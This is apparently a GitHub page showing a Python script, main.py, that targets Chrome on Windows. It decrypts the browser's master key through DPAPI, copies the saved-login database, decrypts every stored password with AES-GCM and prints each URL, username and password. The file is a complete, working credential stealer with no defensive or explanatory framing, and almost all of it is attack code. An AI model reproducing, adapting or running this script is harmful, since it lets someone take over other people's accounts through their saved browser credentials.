-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
68 lines (56 loc) · 2.08 KB
/
main.py
File metadata and controls
68 lines (56 loc) · 2.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import importlib
import sqlite3
import base64
import shutil
import json
import os
if os.name != "nt":
exit()
win32crypt = importlib.import_module("win32crypt")
AES = importlib.import_module("Cryptodome.Cipher.AES")
class Main:
def __init__(self):
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r") as file:
localState = file.read()
localState = json.loads(localState)
MasterKey = base64.b64decode(localState["os_crypt"]["encrypted_key"])
MasterKey = MasterKey[5:]
MasterKey = win32crypt.CryptUnprotectData(MasterKey, None, None, None, 0)[1]
self.MasterKey = MasterKey
def decrypt(self, buffer, MasterKey):
try:
iv = buffer[3:15]
Payload = buffer[15:]
cipher = AES.new(MasterKey, AES.MODE_GCM, iv)
Decrypt = cipher.decrypt(Payload)
Decrypt = Decrypt[:-16].decode()
return Decrypt
except:
return "Password decryption failed"
if __name__ == "__main__":
try:
PATH = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
Chrome = Main()
shutil.copy2(PATH, "Loginvault.db")
connect = sqlite3.connect("Loginvault.db")
cursor = connect.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for _ in cursor.fetchall():
URL = _[0]
USERNAME = _[1]
EncryptedPassword = _[2]
DecryptedPassword = Chrome.decrypt(EncryptedPassword, Chrome.MasterKey)
if len(USERNAME) > 0 and len(URL) > 0:
print(str({
"url": URL,
"username": USERNAME,
"password": DecryptedPassword
}))
except Exception as e:
print(e)
cursor.close()
connect.close()
os.remove("Loginvault.db")
except Exception as e:
print(e)